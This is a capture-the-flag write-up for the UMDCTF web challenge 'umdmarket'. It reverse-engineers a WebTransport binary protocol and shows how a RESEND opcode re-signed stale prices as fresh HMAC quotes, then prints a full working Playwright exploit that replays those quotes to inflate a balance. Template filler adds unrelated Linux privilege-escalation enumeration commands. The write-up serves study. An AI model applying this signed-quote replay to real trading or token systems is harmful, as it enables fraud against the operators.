umdmarket
umdmarket
Platform: Umdctf | Category: Web | Type: Challenge | Difficulty: Hard | OS: NA | Author: D3v0o0Nu11 | Date: 2026-04-25 | Status: Solved Techniques: client_bundle_reversing, protocol_reversing, resend_window_arbitrage, signed_quote_replay, stale_quote_bypass
Summary
Task: a browser prediction market exposed WebTransport protocol docs and HMAC-signed quote tokens for trading. Solution: abuse RESEND, which re-signed historical prices with the current sequence number, to replay stale favorable quotes as fresh ones and grind the balance above the flag threshold.
Recon
Port scan
nmap -p- -sV -sC <TARGET> --min-rate 1000 -Pn
| Port | Service | Version | Notes |
|---|---|---|---|
| <PORT> | <SVC> | <VER> | <notes> |
Enumeration highlights
- Event:
umdctf| ID:20260425_umdctf_umdmarket - Tags: binary_protocol, hmac, webtransport, signed_quotes, replay, market_arbitrage
- Indicators: the frontend bundle exposes hidden transport or protocol documentation, trade requests require replaying a signed quote blob rather than sending free-form prices, a resend or history endpoint returns old market data wrapped in a fresh authentication token, the service enforces quote freshness by sequence age, not by binding the signature to the original time
- Source:
20260425_umdctf_umdmarket.md
Foothold
Vulnerability / Misconfiguration
- Client_bundle_reversing
- Protocol_reversing
- Resend_window_arbitrage
- Signed_quote_replay
- Stale_quote_bypass
<command>
Exploitation
- See original writeup content for detailed exploitation.
Privilege Escalation
Enumeration
sudo -l find / -perm -4000 2>/dev/null getcap -r / 2>/dev/null cat /etc/crontab ps aux
Exploitation
- N/A for challenge-type writeup; see exploitation above.
- Flag obtained via challenge solve.
<command>
Flags
| Flag | Location | Value |
|---|---|---|
| flag | REDACTED |
Key Takeaways / Lessons
- client_bundle_reversing
- protocol_reversing
- resend_window_arbitrage
- signed_quote_replay
- stale_quote_bypass
- Tags: binary_protocol, hmac, webtransport, signed_quotes, replay, market_arbitrage
Original Writeup
<details><summary>Click to expand original content</summary>umdmarket — UMDCTF
Description
Predicting the future is now legal in all 50 states.
English summary: the challenge was a prediction market web app. We started with $100, needed to reach 10,000,000 internal units ($1000), and then call the flag purchase action. The intended defense was that every trade had to use a recent HMAC-signed quote, but the resend feature broke that freshness guarantee.
Analysis
1. Recon from the frontend bundle
The first useful finding was not in the visible UI, but in the shipped client bundle.
/docs/llmswas a decoy./docscontained the real protocol documentation.- the frontend also exposed the exact WebTransport endpoint and certificate pin.
The service connected to:
https://umdmarket.challs.umdctf.io:4443/wt
with the embedded SHA-256 certificate hash:
ac02c9f7e1558563180ed412dedb9e793fd9b3ab36d64beb7e178283a68a4c9f
client_methods.txt made the binary client logic much easier to reconstruct. It showed the request opcodes, field order, and the fact that trades are not priced freely by the client. Instead, the client must echo back a server-issued signed quote.
2. Reconstructing the protocol
The important packet types were:
| Message | Opcode | Fields |
|---|---|---|
QUOTE datagram | 0x01 | seq:uint16, ticker_id:uint16, yes_price:uint16, hmac[8] |
RESEND request | 0x26 | seq:uint16, ticker_id:uint16 |
TRADE request | 0x30 | seq, ticker_id, yes_price, hmac, side:uint8, qty:uint32 |
BUY_FLAG request | 0x50 | available once balance >= 10,000,000 |
The signed QUOTE datagram was the core security primitive. The docs described the intended model as:
- Server streams signed quotes,
- Client may trade only by replaying one of those quotes,
- Stale quotes are rejected when older than
MaxAge = 5ticks.
That sounds reasonable if RESEND truly returns the original historical quote unchanged. Then an attacker can recover lost packets, but cannot convert old prices into current valid trade tokens.
3. What RESEND actually did
Testing showed that RESEND did not return the original quote blob. Instead, it took an old historical price and wrapped it in a new, fresh sequence number with a matching fresh HMAC.
Concrete validation:
- observed live quote on ticker
0:seq=4,yesPrice=5818 RESEND(4, 0)returned success withseq=15,ticker=0,price=5818RESEND(5, 0)returned success withseq=16,ticker=0,price=5828- out-of-window
RESENDrequests returned status15
That behavior is the bug. The service was supposed to say, effectively, “here is the old quote you missed.” Instead it said, “here is the old price, but blessed as a brand new quote.”
So freshness was enforced only on the current sequence number, not on whether the price itself belonged to that sequence.
4. Why this bypassed the staleness defense
TRADE trusted four fields as a signed bundle:
(seq, ticker_id, yes_price, hmac)
The server only needed the bundle to be internally consistent and recent enough. Since RESEND generated a fresh signature over an old yes_price, any historical low or high inside the resend window became tradeable again as if it had just appeared on the wire.
This turned the market into a short-horizon arbitrage oracle:
- if an older quote in the window had a lower YES price than the current market, buy YES at the historical minimum;
- wait for cooldown;
- sell YES using a historical maximum from the same rolling window;
- do the mirrored strategy for NO using
10000 - yes_price.
The earlier idea about uint16 sequence wraparound was a dead end. The real bug was much simpler and more powerful: RESEND was minting fresh signed tokens for stale prices.
Solution
Step 1. Implement a raw WebTransport client
The working exploit used Playwright so the browser could speak WebTransport directly with the pinned self-signed certificate. The script:
- Opened the challenge page,
- Connected to
/wtwith the embedded certificate hash, - Registered a fresh account,
- Fetched the ticker list,
- Subscribed to all tickers.
Step 2. Collect a rolling resend window
For each ticker, I kept roughly the last 500 quotes, storing:
{ tickerId, rawSeq, logicalSeq, yesPrice }
The script also handled sequence rollover by maintaining a larger logical sequence space, but that was only bookkeeping. The exploit itself depended on the resend window, not on wraparound abuse.
Step 3. Search for the best historical edge
For every ticker buffer:
- find the historical minimum YES quote,
- find the historical maximum YES quote,
- compute the YES-side ratio
max / min, - compute the NO-side ratio
(10000 - min) / (10000 - max).
If either ratio was good enough, open a position using the better side.
Step 4. Turn the historical quote into a fresh signed trade token
To open a YES position at an old minimum:
- Call
RESEND(min_seq, ticker_id), - Receive a fresh signed quote containing the old price,
- Send
TRADE(resent_seq, ticker_id, old_price, fresh_hmac, BUY_YES, qty).
Because the resent quote carried a current sequence number, the server accepted it as fresh.
Step 5. Respect cooldown, then close at the opposite extreme
After the 5 second cooldown, the script repeated the same trick with the best opposite historical price still available in the resend window:
SELL_YESat the historical maximum, orSELL_NOat the historical minimum YES price, which corresponds to a historical maximum NO price.
That repeatedly captured spread that should have been impossible if quote freshness had been implemented correctly.
Step 6. Buy the flag
Once the balance exceeded 10,000,000, the exploit sent opcode 0x50 and the server returned the flag.
Exploit Script
The successful exploit was tasks/umdctf/umdmarket/resend_window_exploit.py. The core idea is below.
#!/usr/bin/env python3
from __future__ import annotations
import random
import string
from playwright.sync_api import sync_playwright
def rand_user() -> str:
alphabet = string.ascii_lowercase + string.digits
return "user" + "".join(random.choice(alphabet) for _ in range(8))
def rand_password() -> str:
alphabet = string.ascii_letters + string.digits + "!@#$%^&*"
return "Aa1!" + "".join(random.choice(alphabet) for _ in range(12))
JS_EXPLOIT = r"""
async ({username, password}) => {
const WT_URL = 'https://umdmarket.challs.umdctf.io:4443/wt';
const CERT_HEX = 'ac02c9f7e1558563180ed412dedb9e793fd9b3ab36d64beb7e178283a68a4c9f';
const FLAG_PRICE = 10_000_000;
const TICKER_COUNT = 15;
const WINDOW = 500;
const COOLDOWN_MS = 5300;
const BUY_FRACTION = 0.98;
const MIN_BUFFER = 120;
const MIN_RATIO = 1.03;
const EDGE_GUARD = 20;
const enc = new TextEncoder();
function log(msg) {
console.log(`[resend] ${msg}`);
}
function hexToBytes(hex) {
const out = new Uint8Array(hex.length / 2);
for (let i = 0; i < hex.length; i += 2) out[i / 2] = parseInt(hex.slice(i, i + 2), 16);
return out;
}
function u8(x) {
return new Uint8Array([x & 255]);
}
function u16(x) {
const out = new Uint8Array(2);
new DataView(out.buffer).setUint16(0, x, true);
return out;
}
function u32(x) {
const out = new Uint8Array(4);
new DataView(out.buffer).setUint32(0, x >>> 0, true);
return out;
}
function s8(s) {
const e = enc.encode(s);
const out = new Uint8Array(1 + e.length);
out[0] = e.length;
out.set(e, 1);
return out;
}
function concat(...parts) {
const total = parts.reduce((n, p) => n + p.length, 0);
const out = new Uint8Array(total);
let off = 0;
for (const p of parts) {
out.set(p, off);
off += p.length;
}
return out;
}
async function connect() {
const certBytes = hexToBytes(CERT_HEX);
const certBuf = new ArrayBuffer(certBytes.length);
new Uint8Array(certBuf).set(certBytes);
const wt = new WebTransport(WT_URL, {
serverCertificateHashes: [{ algorithm: 'sha-256', value: certBuf }],
});
await wt.ready;
return wt;
}
async function send(wt, req) {
const stream = await wt.createBidirectionalStream();
const writer = stream.writable.getWriter();
await writer.write(req);
await writer.close();
const reader = stream.readable.getReader();
const chunks = [];
while (true) {
const { value, done } = await reader.read();
if (done) break;
if (value) chunks.push(value);
}
const total = chunks.reduce((n, c) => n + c.length, 0);
const out = new Uint8Array(total);
let off = 0;
for (const c of chunks) {
out.set(c, off);
off += c.length;
}
return new DataView(out.buffer);
}
function status(v) {
return v.getUint8(0);
}
function getU16(v, o) {
return v.getUint16(o, true);
}
function getU64(v, o) {
return Number(v.getBigUint64(o, true));
}
const wt = await connect();
log('connected');
let v = await send(wt, concat(u8(0x20), s8(username), s8(password)));
if (status(v) !== 0) throw new Error(`register status=${status(v)}`);
let balance = getU64(v, 1);
log(`registered ${username} balance=$${(balance / 10000).toFixed(2)}`);
v = await send(wt, u8(0x24));
if (status(v) !== 0) throw new Error(`fetch_tickers status=${status(v)}`);
let off = 1;
const count = getU16(v, off);
off += 2;
const tickers = [];
for (let i = 0; i < count; i++) {
const id = getU16(v, off);
off += 2;
const nlen = v.getUint8(off);
off += 1 + nlen;
const dlen = getU16(v, off);
off += 2 + dlen;
tickers.push(id);
}
for (const id of tickers) {
v = await send(wt, concat(u8(0x22), u16(id)));
if (status(v) !== 0) throw new Error(`subscribe ${id} status=${status(v)}`);
}
log(`subscribed ${tickers.length} tickers`);
const buffers = Array.from({ length: TICKER_COUNT }, () => []);
let rawSeqEpoch = 0;
let lastRawSeq = null;
let logicalSeq = null;
let position = null;
let actionLock = false;
let lastTradeAt = 0;
function pushQuote(tickerId, rawSeq, yesPrice) {
if (lastRawSeq !== null && rawSeq < lastRawSeq - 1000) rawSeqEpoch += 65536;
lastRawSeq = rawSeq;
logicalSeq = rawSeqEpoch + rawSeq;
const q = { tickerId, rawSeq, logicalSeq, yesPrice };
const buf = buffers[tickerId];
buf.push(q);
const minLogical = logicalSeq - WINDOW;
while (buf.length && buf[0].logicalSeq < minLogical) buf.shift();
}
function tickerStats(tickerId) {
const buf = buffers[tickerId];
if (buf.length < MIN_BUFFER) return null;
let minQ = buf[0];
let maxQ = buf[0];
for (const q of buf) {
if (q.yesPrice < minQ.yesPrice) minQ = q;
if (q.yesPrice > maxQ.yesPrice) maxQ = q;
}
return { minQ, maxQ };
}
function bestOpenCandidate() {
let best = null;
for (const tid of tickers) {
const st = tickerStats(tid);
if (!st) continue;
const { minQ, maxQ } = st;
if (minQ.yesPrice <= EDGE_GUARD || maxQ.yesPrice >= 10000 - EDGE_GUARD) continue;
const yesRatio = maxQ.yesPrice / minQ.yesPrice;
if (yesRatio >= MIN_RATIO) {
const cand = { tickerId: tid, side: 'YES', tradeSide: 0, buySeq: minQ.rawSeq, buyPrice: minQ.yesPrice, ratio: yesRatio };
if (!best || cand.ratio > best.ratio) best = cand;
}
const noBuy = 10000 - maxQ.yesPrice;
const noSell = 10000 - minQ.yesPrice;
const noRatio = noSell / noBuy;
if (noBuy > EDGE_GUARD && noRatio >= MIN_RATIO) {
const cand = { tickerId: tid, side: 'NO', tradeSide: 1, buySeq: maxQ.rawSeq, buyPrice: noBuy, ratio: noRatio };
if (!best || cand.ratio > best.ratio) best = cand;
}
}
return best;
}
function bestCloseCandidate(pos) {
const st = tickerStats(pos.tickerId);
if (!st) return null;
if (pos.side === 'YES') {
return { tradeSide: 2, sellSeq: st.maxQ.rawSeq, ratio: st.maxQ.yesPrice / pos.buyPrice };
}
return { tradeSide: 3, sellSeq: st.minQ.rawSeq, ratio: (10000 - st.minQ.yesPrice) / pos.buyPrice };
}
async function resendQuote(rawSeq, tickerId) {
const res = await send(wt, concat(u8(0x26), u16(rawSeq), u16(tickerId)));
const st = status(res);
if (st !== 0) return { status: st };
return {
status: 0,
seq: getU16(res, 1),
tickerId: getU16(res, 3),
price: getU16(res, 5),
hmac: new Uint8Array(res.buffer.slice(7, 15)),
};
}
async function doTrade(q, tradeSide, qty) {
const res = await send(wt, concat(u8(0x30), u16(q.seq), u16(q.tickerId), u16(q.price), q.hmac, u8(tradeSide), u32(qty)));
const st = status(res);
if (st !== 0) return { status: st };
return { status: 0, newBalance: getU64(res, 3) };
}
async function buyFlagIfPossible() {
if (balance < FLAG_PRICE) return null;
const res = await send(wt, u8(0x50));
if (status(res) !== 0) throw new Error(`buy_flag status=${status(res)}`);
const len = getU16(res, 1);
return new TextDecoder().decode(new Uint8Array(res.buffer, 3, len));
}
async function maybeOpen() {
if (position || actionLock || Date.now() - lastTradeAt < COOLDOWN_MS) return null;
const cand = bestOpenCandidate();
if (!cand) return null;
const qty = Math.floor((balance * BUY_FRACTION) / cand.buyPrice);
if (qty <= 0) return null;
actionLock = true;
try {
const q = await resendQuote(cand.buySeq, cand.tickerId);
if (q.status !== 0) return null;
const tr = await doTrade(q, cand.tradeSide, qty);
if (tr.status !== 0) return null;
balance = tr.newBalance;
lastTradeAt = Date.now();
position = { tickerId: cand.tickerId, side: cand.side, qty, buyPrice: cand.buyPrice };
} finally {
actionLock = false;
}
}
async function maybeClose() {
if (!position || actionLock || Date.now() - lastTradeAt < COOLDOWN_MS) return null;
const cand = bestCloseCandidate(position);
if (!cand || cand.ratio <= 1.0) return null;
actionLock = true;
try {
const q = await resendQuote(cand.sellSeq, position.tickerId);
if (q.status !== 0) return null;
const tr = await doTrade(q, cand.tradeSide, position.qty);
if (tr.status !== 0) return null;
balance = tr.newBalance;
lastTradeAt = Date.now();
position = null;
return await buyFlagIfPossible();
} finally {
actionLock = false;
}
}
const reader = wt.datagrams.readable.getReader();
while (true) {
const { value, done } = await reader.read();
if (done) throw new Error('datagram stream closed');
if (!value || value.length < 1) continue;
if (value[0] === 1 && value.length >= 15) {
const dv = new DataView(value.buffer, value.byteOffset, value.byteLength);
pushQuote(dv.getUint16(3, true), dv.getUint16(1, true), dv.getUint16(5, true));
}
let flag = await maybeClose();
if (flag) return { flag, username, password, balance };
flag = await maybeOpen();
if (flag) return { flag, username, password, balance };
}
}
"""
def main() -> None:
username = rand_user()
password = rand_password()
with sync_playwright() as p:
browser = p.chromium.launch(headless=True)
page = browser.new_page()
page.on("console", lambda msg: print(msg.text, flush=True))
page.goto("https://umdmarket.challs.umdctf.io/", wait_until="domcontentloaded", timeout=120000)
try:
result = page.evaluate(JS_EXPLOIT, {"username": username, "password": password})
print(result, flush=True)
finally:
browser.close()
if __name__ == "__main__":
main()
Sample Successful Run
Representative profitable trades from the final exploit:
OPEN YES ticker=8 qty=373 buy=2627 ratio=1.039 balance=$2.01
CLOSE YES ticker=8 qty=373 sell=2751 ratio=1.047 balance=$104.63
OPEN YES ticker=9 qty=656 buy=1561 ratio=1.116 balance=$2.22
CLOSE YES ticker=9 qty=656 sell=1742 ratio=1.116 balance=$116.50
...
OPEN YES ticker=13 qty=4311 buy=2236 ratio=1.183 balance=$19.76
CLOSE YES ticker=13 qty=4311 sell=2645 ratio=1.183 balance=$1160.02
FLAG UMDCTF{REDACTED}
</details>
Auto-tracked: saved to WriteUps; run
/xesor-reviseto fold lessons into XESXor_Methodology.md.
signed by XESXOR